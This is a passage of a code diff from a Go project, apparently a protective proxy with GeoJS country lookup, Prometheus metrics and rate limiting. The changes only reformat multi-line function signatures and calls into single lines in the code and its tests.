-			ASName:  "Example Net",
-			Country: country,
-		},
 	})
 }
 
@@ -381,8 +349,7 @@ func wantAlerts(t *testing.T, queue *alerts.Queue, want ...alerts.Alert) {
 	t.Helper()
 
 	waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
-	if len(waiting) != len(want) ||
+	if len(waiting) != len(want) || (len(want) > 0 && !reflect.DeepEqual(waiting, want)) {
-		(len(want) > 0 && !reflect.DeepEqual(waiting, want)) {
 		t.Errorf("alerts waiting %+v, want %+v", waiting, want)
 	}
 

internal/lookup/lookup.go

@@ -211,10 +211,7 @@ func (g *GeoJS) LookUp(ctx context.Context, client netip.Prefix) Answer {
 
 // LookUpWithoutWaiting is LookUp for a request that does not need the answer,
 // whatever Wait says: it returns the zero Answer at once when none is kept.
-func (g *GeoJS) LookUpWithoutWaiting(
+func (g *GeoJS) LookUpWithoutWaiting(ctx context.Context, client netip.Prefix) Answer {
-	ctx context.Context,
-	client netip.Prefix,
-) Answer {
 	answer, _ := g.answerOrWait(ctx, client, false)
 
 	return answer
@@ -432,21 +429,14 @@ func (g *GeoJS) keep(
 	}
 
 	if err == nil && leftOut > 0 {
-		err = fmt.Errorf(
+		err = fmt.Errorf("%w %d of %d addresses", errLeftOut, leftOut, len(clients))
-			"%w %d of %d addresses",
-			errLeftOut,
-			leftOut,
-			len(clients),
-		)
 	}
 
 	if err != nil {
 		g.metrics.GeoJSFailures.Inc()
 
-		g.retryDelay = min(
+		g.retryDelay = min(max(retryDelayFactor*g.retryDelay, firstRetryDelay),
-			max(retryDelayFactor*g.retryDelay, firstRetryDelay),
+			maxRetryDelay)
-			maxRetryDelay,
-		)
 		g.retryAt = now.Add(g.retryDelay)
 		g.asking = false
 
@@ -492,12 +482,7 @@ func (g *GeoJS) request(
 	ctx, cancel := context.WithTimeout(ctx, g.timeout)
 	defer cancel()
 
-	req, err := http.NewRequestWithContext(
+	req, err := http.NewRequestWithContext(ctx, http.MethodGet, g.url, http.NoBody)
-		ctx,
-		http.MethodGet,
-		g.url,
-		http.NoBody,
-	)
 	if err != nil {
 		return nil, fmt.Errorf("make the request to GeoJS: %w", err)
 	}
@@ -529,8 +514,7 @@ func (g *GeoJS) request(
 		CountryCode string `json:"country_code"`
 	}
 
-	err = json.NewDecoder(io.LimitReader(res.Body, maxResponseBytes)).
+	err = json.NewDecoder(io.LimitReader(res.Body, maxResponseBytes)).Decode(&answers)
-		Decode(&answers)
 	if err != nil {
 		return nil, fmt.Errorf("read GeoJS's answer: %w", err)
 	}

internal/lookup/lookup_test.go

@@ -85,13 +85,8 @@ func TestLookUpWithoutWaitingAsksGeoJSAndGoesOnAtOnce(t *testing.T) {
 		began := time.Now()
 		answer := g.LookUpWithoutWaiting(t.Context(), client)
 
-		if waited := time.Since(began); waited != 0 ||
+		if waited := time.Since(began); waited != 0 || answer != (lookup.Answer{}) {
-			answer != (lookup.Answer{}) {
+			t.Errorf("got %+v after %s, want no answer at once", answer, waited)
-			t.Errorf(
-				"got %+v after %s, want no answer at once",
-				answer,
-				waited,
-			)
 		}
 
 		waitForRequests(t, geojs, 1)
@@ -105,11 +100,7 @@ func TestLookUpWithoutWaitingAsksGeoJSAndGoesOnAtOnce(t *testing.T) {
 		waitForCountry(t, g, clock, client, germany)
 
 		if got := g.LookUpWithoutWaiting(t.Context(), client).Country; got != germany {
-			t.Errorf(
+			t.Errorf("the kept answer gives the country %q, want %q", got, germany)
-				"the kept answer gives the country %q, want %q",
-				got,
-				germany,
-			)
 		}
 	})
 }
@@ -129,9 +120,7 @@ func TestNewClientWaitsAtMostOneSecondThenCountsAsNotFound(t *testing.T) {
 
 		var earlier sync.WaitGroup
 
-		earlier.Go(
+		earlier.Go(func() { g.LookUp(t.Context(), netip.MustParsePrefix("203.0.113.1/32")) })
-			func() { g.LookUp(t.Context(), netip.MustParsePrefix("203.0.113.1/32")) },
-		)
 		defer earlier.Wait()
 
 		waitForRequests(t, geojs, 1)
@@ -163,9 +152,7 @@ func TestNewClientWaitsAtMostOneSecondThenCountsAsNotFound(t *testing.T) {
 	})
 }
 
-func TestRequestWaitsAsLongAsTheTimeoutSaysAndGeoJSIsAbandonedAfterIt(
+func TestRequestWaitsAsLongAsTheTimeoutSaysAndGeoJSIsAbandonedAfterIt(t *testing.T) {
-	t *testing.T,
-) {
 	t.Parallel()
 
 	synctest.Test(t, func(t *testing.T) {
@@ -210,11 +197,7 @@ func TestRequestWaitsAsLongAsTheTimeoutSaysAndGeoJSIsAbandonedAfterIt(
 		synctest.Wait()
 
 		if waited != longerTimeout {
-			t.Errorf(
+			t.Errorf("waited %s for the answer, want %s", waited, longerTimeout)
-				"waited %s for the answer, want %s",
-				waited,
-				longerTimeout,
-			)
 		}
 
 		wantFailures(t, m, 1)
@@ -357,11 +340,7 @@ func TestWithoutWaitTheRequestGoesOnAtOnceAndTheAnswerIsGivenWhenItComes(
 
 		got := g.LookUp(t.Context(), client)
 		if took := time.Since(began); took != 0 || got != (lookup.Answer{}) {
-			t.Errorf(
+			t.Errorf("waited %s for %+v, want no wait and no answer", took, got)
-				"waited %s for %+v, want no wait and no answer",
-				took,
-				got,
-			)
 		}
 
 		waitForRequests(t, geojs, 1)
@@ -412,10 +391,7 @@ func TestFailureIsLoggedWithoutTheAddressesAskedAbout(t *testing.T) {
 		logged := log.String()
 		if !strings.Contains(logged, "asking GeoJS failed") ||
 			strings.Contains(logged, "203.0.113.9") {
-			t.Errorf(
+			t.Errorf("logged %q, want the failure without the address asked about", logged)
-				"logged %q, want the failure without the address asked about",
-				logged,
-			)
 		}
 	})
 }
@@ -454,10 +430,7 @@ func TestFailureRaisesASourceFailureAlertOncePerCooldown(t *testing.T) {
 		}
 
 		if queue.Suppressed() != 1 {
-			t.Errorf(
+			t.Errorf("%d alerts held back, want the repeat", queue.Suppressed())
-				"%d alerts held back, want the repeat",
-				queue.Suppressed(),
-			)
 		}
 	})
 }
@@ -481,21 +454,11 @@ func TestWaitingClientsAreAskedAboutInOneRequest(t *testing.T) {
 		clock.advance(time.Second)
 		wantCountry(t, g, netip.MustParsePrefix("203.0.113.3/32"), germany)
 		wantRequests(t, geojs, 2)
-		wantAsked(
+		wantAsked(t, geojs, 1, "203.0.113.1", "203.0.113.2", "2001:db8:1:2::", "203.0.113.3")
-			t,
-			geojs,
-			1,
-			"203.0.113.1",
-			"203.0.113.2",
-			"2001:db8:1:2::",
-			"203.0.113.3",
-		)
 	})
 }
 
-func TestKeptAnswersUnaffectedWhileGeoJSFailsAndAskedAgainWithBackoff(
+func TestKeptAnswersUnaffectedWhileGeoJSFailsAndAskedAgainWithBackoff(t *testing.T) {
-	t *testing.T,
-) {
 	t.Parallel()
 
 	synctest.Test(t, func(t *testing.T) {
@@ -540,10 +503,7 @@ func TestKeptAnswersUnaffectedWhileGeoJSFailsAndAskedAgainWithBackoff(
 
 		asked := waitForRequests(t, geojs, requests+1)
 		if len(asked[requests]) != 23 {
-			t.Errorf(
+			t.Errorf("GeoJS was asked about %d clients, want 23", len(asked[requests]))
-				"GeoJS was asked about %d clients, want 23",
-				len(asked[requests]),
-			)
 		}
 	})
 }
@@ -571,11 +531,8 @@ func TestAtMost200AddressesInOneRequest(t *testing.T) {
 
 		asked := waitForRequests(t, geojs, 3)
 		if len(asked[1]) != 200 || len(asked[2]) != 1 {
-			t.Errorf(
+			t.Errorf("GeoJS was asked about %d and then %d clients, want 200 and 1",
-				"GeoJS was asked about %d and then %d clients, want 200 and 1",
+				len(asked[1]), len(asked[2]))
-				len(asked[1]),
-				len(asked[2]),
-			)
 		}
 	})
 }
@@ -730,11 +687,7 @@ func (s *standIn) ServeHTTP(w http.ResponseWriter, r *http.Request) {
 
 		switch {
 		case addr == unplaced:
-			item = map[string]any{
+			item = map[string]any{"ip": addr, "asn": 64512, "organization_name": "Unknown"}
-				"ip":                addr,
-				"asn":               64512,
-				"organization_name": "Unknown",
-			}
 		case addr == leftOut && answers == answeringWithoutLeftOut:
 			continue
 		case answers == answeringInLowerCase:
@@ -851,12 +804,7 @@ func newClients() func() netip.Prefix {
 }
 
 // wantCountry checks the country g gives client.
-func wantCountry(
+func wantCountry(t *testing.T, g *lookup.GeoJS, client netip.Prefix, want string) {
-	t *testing.T,
-	g *lookup.GeoJS,
-	client netip.Prefix,
-	want string,
-) {
 	t.Helper()
 
 	got := g.LookUp(t.Context(), client).Country
@@ -895,11 +843,7 @@ func wantAsked(t *testing.T, geojs *standIn, i int, want ...string) {
 
 // wantRequestsWithoutGeoJSAnswer checks how many requests m counts as having
 // gone without an answer from GeoJS.
-func wantRequestsWithoutGeoJSAnswer(
+func wantRequestsWithoutGeoJSAnswer(t *testing.T, m *metrics.Metrics, want float64) {
-	t *testing.T,
-	m *metrics.Metrics,
-	want float64,
-) {
 	t.Helper()
 
 	got := testutil.ToFloat64(m.RequestsWithoutGeoJSAnswer)
@@ -939,11 +883,7 @@ func waitForRequests(t *testing.T, geojs *standIn, count int) [][]string {
 // It then checks that client's next request does not wait but has it asked
 // about again in the background, after which g gives it the country want.
 func waitForCountry(
-	t *testing.T,
+	t *testing.T, g *lookup.GeoJS, clock *testClock, client netip.Prefix, want string,
-	g *lookup.GeoJS,
-	clock *testClock,
-	client netip.Prefix,
-	want string,
 ) {
 	t.Helper()
 

internal/lookup/lookuptest/lookuptest.go

@@ -45,11 +45,7 @@ func Write(tb testing.TB, path string, networks map[string]Network) {
 
 // WriteRecords writes a lookup database at path that holds each record in
 // records for its netblock, and nothing for any other address.
-func WriteRecords(
+func WriteRecords(tb testing.TB, path string, records map[string]mmdbtype.Map) {
-	tb testing.TB,
-	path string,
-	records map[string]mmdbtype.Map,
-) {
 	tb.Helper()
 
 	tree, err := mmdbwriter.New(mmdbwriter.Options{

internal/lookup/snapshot_test.go

@@ -59,10 +59,7 @@ func TestLoadedAnswersAreKeptFor7DaysFromWhenGeoJSGaveThem(t *testing.T) {
 	g.Load([]lookup.Answer{kept, stale})
 
 	if got := g.Snapshot(); !slices.Equal(got, []lookup.Answer{kept}) {
-		t.Errorf(
+		t.Errorf("kept %+v, want only the answer GeoJS gave less than 7 days ago", got)
-			"kept %+v, want only the answer GeoJS gave less than 7 days ago",
-			got,
-		)
 	}
 
 	wantCountry(t, g, kept.Client, "FR")

internal/metrics/busiest.go

@@ -41,11 +41,9 @@ type busiest struct {
 // for the topN busiest countries.
 func newCountries(topN int) *busiest {
 	countries := newBusiest(topN, "country", "the client's country")
-	countries.refused = counterVec(
+	countries.refused = counterVec("sww_country_list_refusals_total",
-		"sww_country_list_refusals_total",
 		"Requests SWW_EXCLUSIVELY_ALLOWED_COUNTRIES refused, by the client's country.",
-		[]string{"country"},
+		[]string{"country"})
-	)
 
 	return countries
 }
@@ -92,11 +90,7 @@ func (b *busiest) Collect(ch chan<- prometheus.Metric) {
 // vecs returns the metrics: by AS number, those of requests and bytes; by
 // country, the refusals by the country list as well.
 func (b *busiest) vecs() []*prometheus.CounterVec {
-	vecs := []*prometheus.CounterVec{
+	vecs := []*prometheus.CounterVec{b.requests, b.requestBytes, b.responseBytes}
-		b.requests,
-		b.requestBytes,
-		b.responseBytes,
-	}
 	if b.refused != nil {
 		vecs = append(vecs, b.refused)
 	}

internal/metrics/metrics.go

@@ -79,19 +79,14 @@ func New(topN int, instanceName string) *Metrics {
 			Name: "sww_requests_in_flight",
 			Help: "Requests under way.",
 		}),
-		requests: counterVec(
+		requests: counterVec("sww_requests_total",
-			"sww_requests_total",
+			"Requests, by the class of their status and their action.", byStatus),
-			"Requests, by the class of their status and their action.",
-			byStatus,
-		),
 		requestBytes: counterVec("sww_request_bytes_total",
 			"Request body bytes, by the class of the status and the action.",
 			byStatus),
-		responseBytes: counterVec(
+		responseBytes: counterVec("sww_response_bytes_total",
-			"sww_response_bytes_total",
 			"Response body bytes, by the class of the status and the action.",
-			byStatus,
+			byStatus),
-		),
 		requestDuration: prometheus.NewHistogram(prometheus.HistogramOpts{
 			Name: "sww_request_duration_seconds",
 			Help: "How long requests took, from their arrival to their end.",
@@ -100,20 +95,15 @@ func New(topN int, instanceName string) *Metrics {
 			Name: "sww_upstream_duration_seconds",
 			Help: "How long requests passed to the app took, from then to their end.",
 		}),
-		rateLimitHits: counterVec(
+		rateLimitHits: counterVec("sww_rate_limit_hits_total",
-			"sww_rate_limit_hits_total",
 			"Requests that broke a rate limit, a byte limit or the error burst, by "+
 				"its window and its kind, requests, bytes or refusals.",
-			[]string{"window", "kind"},
+			[]string{"window", "kind"}),
-		),
 		offences: counterVec("sww_offences_total",
 			"Offences, by kind.", []string{"kind"}),
-		coreRuleSetMatches: counterVec(
+		coreRuleSetMatches: counterVec("sww_core_rule_set_matches_total",
-			"sww_core_rule_set_matches_total",
 			"Requests that matched a rule of the Core Rule Set, by SWW_WAF_MODE "+
-				"and the rule's id.",
+				"and the rule's id.", []string{"mode", "rule_id"}),
-			[]string{"mode", "rule_id"},
-		),
 		countries: newCountries(topN),
 		asns:      newASNs(topN),
 		GeoJSRequests: prometheus.NewCounter(prometheus.CounterOpts{
@@ -124,41 +114,26 @@ func New(topN int, instanceName string) *Metrics {
 			Name: "sww_geojs_failures_total",
 			Help: "Requests to GeoJS that failed.",
 		}),
-		RequestsWithoutGeoJSAnswer: prometheus.NewCounter(
+		RequestsWithoutGeoJSAnswer: prometheus.NewCounter(prometheus.CounterOpts{
-			prometheus.CounterOpts{
+			Name: "sww_requests_without_geojs_answer_total",
-				Name: "sww_requests_without_geojs_answer_total",
+			Help: "Requests that needed their client's answer from GeoJS and " +
-				Help: "Requests that needed their client's answer from GeoJS and " +
+				"went on without it, because GeoJS had not given it in time.",
-					"went on without it, because GeoJS had not given it in time.",
+		}),
-			},
-		),
 		stateFileWrites: counterVec("sww_state_file_writes_total",
 			"Writes of each state or cache file.", byFile),
-		stateFileWriteFailures: counterVec(
+		stateFileWriteFailures: counterVec("sww_state_file_write_failures_total",
-			"sww_state_file_write_failures_total",
+			"Writes of each state or cache file that failed.", byFile),
-			"Writes of each state or cache file that failed.",
+		stateFileLastWrite: gaugeVec("sww_state_file_last_write_timestamp_seconds",
-			byFile,
-		),
-		stateFileLastWrite: gaugeVec(
-			"sww_state_file_last_write_timestamp_seconds",
 			"When each state or cache file was last written, in seconds since 1970.",
-			byFile,
+			byFile),
-		),
+		stateFileSize: gaugeVec("sww_state_file_size_bytes",
-		stateFileSize: gaugeVec(
+			"The size of each state or cache file, as it was last written.", byFile),
-			"sww_state_file_size_bytes",
+		stateFileEditsTakenIn: counterVec("sww_state_file_edits_taken_in_total",
-			"The size of each state or cache file, as it was last written.",
+			"Edits of each state or cache file taken in while running.", byFile),
-			byFile,
+		stateFileEditsSetAside: counterVec("sww_state_file_edits_set_aside_total",
-		),
-		stateFileEditsTakenIn: counterVec(
-			"sww_state_file_edits_taken_in_total",
-			"Edits of each state or cache file taken in while running.",
-			byFile,
-		),
-		stateFileEditsSetAside: counterVec(
-			"sww_state_file_edits_set_aside_total",
 			"Edits of each state or cache file renamed to <name>.bad because they "+
 				"did not parse.",
-			byFile,
+			byFile),
-		),
 	}
 
 	m.registry.MustRegister(
@@ -187,15 +162,13 @@ func (m *Metrics) AddBansAndClients(
 	for _, cause := range []string{
 		bans.CauseLimit, bans.CauseAttack, bans.CauseAdmin, bans.CauseCrowdSec,
 	} {
-		m.registry.MustRegister(
+		m.registry.MustRegister(prometheus.NewCounterFunc(prometheus.CounterOpts{
-			prometheus.NewCounterFunc(prometheus.CounterOpts{
+			Name:        "sww_bans_made_total",
-				Name:        "sww_bans_made_total",
+			Help:        "Bans made, by cause.",
-				Help:        "Bans made, by cause.",
+			ConstLabels: prometheus.Labels{"cause": cause},
-				ConstLabels: prometheus.Labels{"cause": cause},
+		}, func() float64 {
-			}, func() float64 {
+			return float64(ledger.Made(cause))
-				return float64(ledger.Made(cause))
+		}))
-			}),
-		)
 	}
 
 	m.registry.MustRegister(
@@ -229,11 +202,9 @@ func (m *Metrics) AddBansAndClients(
 // ruleFiles, read as the metrics are asked for. It is called once, before
 // RuleMatched.
 func (m *Metrics) AddRules(ruleFiles *rules.Files) {
-	m.ruleMatches = counterVec(
+	m.ruleMatches = counterVec("sww_rule_matches_total",
-		"sww_rule_matches_total",
 		"Requests that matched a rule of the rule files, by its id and action.",
-		[]string{"rule_id", "action"},
+		[]string{"rule_id", "action"})
-	)
 
 	m.registry.MustRegister(m.ruleMatches,
 		prometheus.NewGaugeFunc(prometheus.GaugeOpts{
@@ -276,10 +247,7 @@ func (m *Metrics) AddRemoteLog(remote *remotelog.Sender) {
 // returns, and the replacements of it that could not be read, which
 // readFailures returns. The lookup package's File, which has both, cannot
 // be named here: that package counts GeoJS's requests in these metrics.
-func (m *Metrics) AddLookupFile(
+func (m *Metrics) AddLookupFile(lastRead func() time.Time, readFailures func() int) {
-	lastRead func() time.Time,
-	readFailures func() int,
-) {
 	m.registry.MustRegister(
 		prometheus.NewGaugeFunc(prometheus.GaugeOpts{
 			Name: "sww_lookup_database_last_read_timestamp_seconds",
@@ -308,38 +276,24 @@ const sourceLabel = "source"
 // metrics are asked for, for a list, the fetches that failed and when the
 // copy in use was fetched, and for a zone, the queries made and those that
 // failed. It is called once, before ReputationHit.
-func (m *Metrics) AddReputation(
+func (m *Metrics) AddReputation(lists *reputation.Lists, dnsbl *reputation.DNSBL) {
-	lists *reputation.Lists,
+	m.reputationHits = counterVec("sww_reputation_hits_total",
-	dnsbl *reputation.DNSBL,
-) {
-	m.reputationHits = counterVec(
-		"sww_reputation_hits_total",
 		"Requests whose client a blocklist, the CrowdSec decision list, a DNSBL "+
 			"zone or AbuseIPDB lists, by the list's URL, the zone, or abuseipdb.",
-		[]string{sourceLabel},
+		[]string{sourceLabel})
-	)
 	m.registry.MustRegister(m.reputationHits)
 
 	for _, zone := range dnsbl.Zones() {
 		source := prometheus.Labels{sourceLabel: config.MaskZoneKey(zone)}
 
-		m.addReputationQueries(
+		m.addReputationQueries(source, func() int { return dnsbl.Queries(zone) })
-			source,
+		m.addReputationFailures(source, func() int { return dnsbl.Failures(zone) })
-			func() int { return dnsbl.Queries(zone) },
-		)
-		m.addReputationFailures(
-			source,
-			func() int { return dnsbl.Failures(zone) },
-		)
 	}
 
 	for _, listURL := range lists.URLs() {
 		source := prometheus.Labels{sourceLabel: listURL}
 
-		m.addReputationFailures(
+		m.addReputationFailures(source, func() int { return lists.Failures(listURL) })
-			source,
-			func() int { return lists.Failures(listURL) },
-		)
 		m.registry.MustRegister(
 			prometheus.NewGaugeFunc(prometheus.GaugeOpts{
 				Name: "sww_reputation_last_fetch_timestamp_seconds",
@@ -441,10 +395,7 @@ func (m *Metrics) RequestStarted() {
 
 // RequestEnded counts a request that has ended without being passed to the app,
 // from its log line. duration is how long the request took.
-func (m *Metrics) RequestEnded(
+func (m *Metrics) RequestEnded(line *requestlog.Line, duration time.Duration) {
-	line *requestlog.Line,
-	duration time.Duration,
-) {
 	m.inFlight.Dec()
 	m.count(line, duration, 0)
 }
@@ -536,10 +487,8 @@ func (m *Metrics) count(
 ) {
 	class := statusClass(line.Status)
 	m.requests.WithLabelValues(class, line.Action).Inc()
-	m.requestBytes.WithLabelValues(class, line.Action).
+	m.requestBytes.WithLabelValues(class, line.Action).Add(float64(line.RequestBytes))
-		Add(float64(line.RequestBytes))
+	m.responseBytes.WithLabelValues(class, line.Action).Add(float64(line.ResponseBytes))
-	m.responseBytes.WithLabelValues(class, line.Action).
-		Add(float64(line.ResponseBytes))
 	m.requestDuration.Observe(duration.Seconds())
 
 	if upstreamDuration > 0 {
@@ -557,10 +506,7 @@ func (m *Metrics) count(
 
 // addReputationQueries adds the counter of the queries to source, a DNSBL
 // zone, or of the checks of clients with AbuseIPDB, which count tells.
-func (m *Metrics) addReputationQueries(
+func (m *Metrics) addReputationQueries(source prometheus.Labels, count func() int) {
-	source prometheus.Labels,
-	count func() int,
-) {
 	m.registry.MustRegister(prometheus.NewCounterFunc(prometheus.CounterOpts{
 		Name:        "sww_reputation_queries_total",
 		Help:        "Queries to the DNSBL zone, or checks of clients with AbuseIPDB.",
@@ -573,10 +519,7 @@ func (m *Metrics) addReputationQueries(
 // addReputationFailures adds the counter of the fetches of source, a
 // list, the queries to it, a DNSBL zone, or the checks with it, AbuseIPDB,
 // that failed, which count tells.
-func (m *Metrics) addReputationFailures(
+func (m *Metrics) addReputationFailures(source prometheus.Labels, count func() int) {
-	source prometheus.Labels,
-	count func() int,
-) {
 	m.registry.MustRegister(prometheus.NewCounterFunc(prometheus.CounterOpts{
 		Name: "sww_reputation_failures_total",
 		Help: "Fetches of the list, queries to the DNSBL zone, or checks with " +
@@ -603,17 +546,12 @@ func statusClass(status int) string {
 // counterVec returns a counter named name, described by help, with a
 // series for each set of values of labels.
 func counterVec(name, help string, labels []string) *prometheus.CounterVec {
-	return prometheus.NewCounterVec(
+	return prometheus.NewCounterVec(prometheus.CounterOpts{Name: name, Help: help},
-		prometheus.CounterOpts{Name: name, Help: help},
+		labels)
-		labels,
-	)
 }
 
 // gaugeVec returns a gauge named name, described by help, with a series
 // for each set of values of labels.
 func gaugeVec(name, help string, labels []string) *prometheus.GaugeVec {
-	return prometheus.NewGaugeVec(
+	return prometheus.NewGaugeVec(prometheus.GaugeOpts{Name: name, Help: help}, labels)
-		prometheus.GaugeOpts{Name: name, Help: help},
-		labels,
-	)
 }

internal/ratelimit/history_test.go

@@ -27,11 +27,7 @@ func TestHistoryKeepsEveryRequest(t *testing.T) {
 		// refused.
 		{Status: 404},
 	} {
-		limiter.AddToHistory(
+		limiter.AddToHistory(client, start.Add(time.Duration(i)*time.Minute), r)
-			client,
-			start.Add(time.Duration(i)*time.Minute),
-			r,
-		)
 	}
 
 	want := ratelimit.History{
@@ -67,13 +63,7 @@ func TestLookupReachesTheHistoryOfAClientInTheTable(t *testing.T) {
 
 	// A later answer replaces it, and one for a client the table does not
 	// hold adds no client.
-	limiter.AddLookup(
+	limiter.AddLookup(client, start.Add(time.Hour), "AS64497", "Other Net", "FR")
-		client,
-		start.Add(time.Hour),
-		"AS64497",
-		"Other Net",
-		"FR",
-	)
 	limiter.AddLookup(other, start, "AS64496", "Example Net", "DE")
 
 	want := ratelimit.History{
@@ -106,11 +96,7 @@ func TestResetKeepsTheHistory(t *testing.T) {
 
 	for range limit {
 		wantCount(t, limiter, client, start, "")
-		limiter.AddToHistory(
+		limiter.AddToHistory(client, start, ratelimit.Request{Forwarded: true})
-			client,
-			start,
-			ratelimit.Request{Forwarded: true},
-		)
 	}
 
 	limiter.Reset(client)

internal/ratelimit/ratelimit.go

@@ -241,8 +241,7 @@ func (l *Limiter) OverARateLimit(client netip.Prefix, now time.Time) bool {
 	buckets := c.buckets()
 
 	for i, w := range l.windows {
-		if w.limit > 0 &&
+		if w.limit > 0 && buckets[i].Add(now, w.length, 0)+1 > float64(w.limit) {
-			buckets[i].Add(now, w.length, 0)+1 > float64(w.limit) {
 			return true
 		}
 	}
@@ -272,12 +271,7 @@ func (l *Limiter) CountRefusal(
 	defer l.mu.Unlock()
 
 	count := l.get(client).MinuteRefusals.Add(now, time.Minute, 1)
-	hit := Hit{
+	hit := Hit{Kind: KindRefusals, Window: "minute", Limit: threshold, Count: count}
-		Kind:   KindRefusals,
-		Window: "minute",
-		Limit:  threshold,
-		Count:  count,
-	}
 
 	return hit, count > float64(threshold)
 }
@@ -298,11 +292,7 @@ func (l *Limiter) Reset(client netip.Prefix) {
 
 // AddToHistory adds r, a request from client at now, to the client's
 // history.
-func (l *Limiter) AddToHistory(
+func (l *Limiter) AddToHistory(client netip.Prefix, now time.Time, r Request) {
-	client netip.Prefix,
-	now time.Time,
-	r Request,
-) {
 	l.mu.Lock()
 	defer l.mu.Unlock()
 
@@ -480,13 +470,7 @@ func (l *Limiter) count(
 	for i, w := range l.windows {
 		requestCounts[i] = requestBuckets[i].Add(now, w.length, requests)
 		byteCounts[i] = byteBuckets[i].Add(now, w.length, bytes)
-		limit, byteLimit := percentOf(
+		limit, byteLimit := percentOf(w.limit, percent), percentOf(w.byteLimit, percent)
-			w.limit,
-			percent,
-		), percentOf(
-			w.byteLimit,
-			percent,
-		)
 
 		switch {
 		case hit.Window != "":

internal/ratelimit/ratelimit_test.go

@@ -26,17 +26,13 @@ const (
 	hour   = "hour"
 )
 
-func TestOverARateLimitSaysWhatTheNextRequestWouldDoAndCountsNothing(
+func TestOverARateLimitSaysWhatTheNextRequestWouldDoAndCountsNothing(t *testing.T) {
-	t *testing.T,
-) {
 	t.Parallel()
 
 	client := netip.MustParsePrefix("203.0.113.9/32")
 	now := midnight()
-	limiter := ratelimit.New(
+	limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit, PerDay: limit + 1},
-		ratelimit.Limits{PerMinute: limit, PerDay: limit + 1},
+		tableSize)
-		tableSize,
-	)
 
 	if limiter.OverARateLimit(client, now) {
 		t.Error("a client never seen is over a rate limit")
@@ -48,9 +44,7 @@ func TestOverARateLimitSaysWhatTheNextRequestWouldDoAndCountsNothing(
 
 	for range limit {
 		if limiter.OverARateLimit(client, now) {
-			t.Error(
+			t.Error("a client with room for another request is over a rate limit")
-				"a client with room for another request is over a rate limit",
-			)
 		}
 
 		wantCount(t, limiter, client, now, "")
@@ -62,11 +56,7 @@ func TestOverARateLimitSaysWhatTheNextRequestWouldDoAndCountsNothing(
 
 	held, _ := limiter.Client(client)
 	if held.Minute.Current != limit {
-		t.Errorf(
+		t.Errorf("the client's minute holds %d requests, want %d", held.Minute.Current, limit)
-			"the client's minute holds %d requests, want %d",
-			held.Minute.Current,
-			limit,
-		)
 	}
 
 	wantCount(t, limiter, client, now, minute)
@@ -109,13 +99,7 @@ func TestEachWindowRefusesAtItsLimitAndLetsTheClientBack(t *testing.T) {
 			// A quarter into the next bucket, the window still covers three
 			// quarters of the bucket before, with its four requests: 3 + 1
 			// is over the limit.
-			wantCount(
+			wantCount(t, limiter, client, start.Add(tc.length+quarter), tc.window)
-				t,
-				limiter,
-				client,
-				start.Add(tc.length+quarter),
-				tc.window,
-			)
 
 			// Three quarters into it, a quarter: 1 + 2 is within.
 			wantCount(t, limiter, client, start.Add(tc.length+3*quarter), "")
@@ -126,10 +110,7 @@ func TestEachWindowRefusesAtItsLimitAndLetsTheClientBack(t *testing.T) {
 func TestHitGivesTheLimitAndTheRequestsCounted(t *testing.T) {
 	t.Parallel()
 
-	limiter := ratelimit.New(
+	limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit, PerHour: limit}, tableSize)
-		ratelimit.Limits{PerMinute: limit, PerHour: limit},
-		tableSize,
-	)
 	client := netip.MustParsePrefix("203.0.113.9/32")
 	start := midnight()
 
@@ -147,22 +128,16 @@ func TestHitGivesTheLimitAndTheRequestsCounted(t *testing.T) {
 		Kind: ratelimit.KindRequests, Window: minute, Limit: limit, Count: limit + 1,
 	}
 	if !over || hit != want {
-		t.Errorf(
+		t.Errorf("request over the limit gives %+v and %t, want %+v and true",
-			"request over the limit gives %+v and %t, want %+v and true",
+			hit, over, want)
-			hit,
-			over,
-			want,
-		)
 	}
 }
 
 func TestClientGetsItsPercentageOfEachLimitRoundedDown(t *testing.T) {
 	t.Parallel()
 
-	limiter := ratelimit.New(
+	limiter := ratelimit.New(ratelimit.Limits{PerMinute: 5, BytesPerDay: math.MaxInt64},
-		ratelimit.Limits{PerMinute: 5, BytesPerDay: math.MaxInt64},
+		tableSize)
-		tableSize,
-	)
 	client := netip.MustParsePrefix("203.0.113.9/32")
 	start := midnight()
 
@@ -176,19 +151,9 @@ func TestClientGetsItsPercentageOfEachLimitRoundedDown(t *testing.T) {
 
 	_, hit, over := limiter.Count(client, start, 50)
 
-	want := ratelimit.Hit{
+	want := ratelimit.Hit{Kind: ratelimit.KindRequests, Window: minute, Limit: 2, Count: 3}
-		Kind:   ratelimit.KindRequests,
-		Window: minute,
-		Limit:  2,
-		Count:  3,
-	}
 	if !over || hit != want {
-		t.Errorf(
+		t.Errorf("the third request gives %+v and %t, want %+v and true", hit, over, want)
-			"the third request gives %+v and %t, want %+v and true",
-			hit,
-			over,
-			want,
-		)
 	}
 
 	// Half of the largest byte limit is still far above a TiB: working it
@@ -203,10 +168,8 @@ func TestZeroPercentIsAZeroAllowanceAndALimitOffStaysOff(t *testing.T) {
 	t.Parallel()
 
 	// Only the hour has limits: the minute's and the day's are off.
-	limiter := ratelimit.New(
+	limiter := ratelimit.New(ratelimit.Limits{PerHour: limit, BytesPerHour: 1000},
-		ratelimit.Limits{PerHour: limit, BytesPerHour: 1000},
+		tableSize)
-		tableSize,
-	)
 	client := netip.MustParsePrefix("203.0.113.9/32")
 	start := midnight()
 
@@ -214,24 +177,14 @@ func TestZeroPercentIsAZeroAllowanceAndALimitOffStaysOff(t *testing.T) {
 	// hour's limits, which are 0; the minute's, which are off, stay off.
 	_, hit, _ := limiter.Count(client, start, 0)
 
-	want := ratelimit.Hit{
+	want := ratelimit.Hit{Kind: ratelimit.KindRequests, Window: hour, Limit: 0, Count: 1}
-		Kind:   ratelimit.KindRequests,
-		Window: hour,
-		Limit:  0,
-		Count:  1,
-	}
 	if hit != want {
 		t.Errorf("the first request gives %+v, want %+v", hit, want)
 	}
 
 	_, hit, _ = limiter.CountBytes(client, start, 1, 0)
 
-	want = ratelimit.Hit{
+	want = ratelimit.Hit{Kind: ratelimit.KindBytes, Window: hour, Limit: 0, Count: 1}
-		Kind:   ratelimit.KindBytes,
-		Window: hour,
-		Limit:  0,
-		Count:  1,
-	}
 	if hit != want {
 		t.Errorf("the first byte gives %+v, want %+v", hit, want)
 	}
@@ -262,23 +215,13 @@ func TestEachByteLimitIsBrokenByTheBytesCounted(t *testing.T) {
 				t.Fatal("600 bytes are over the limit of 1000")
 			}
 
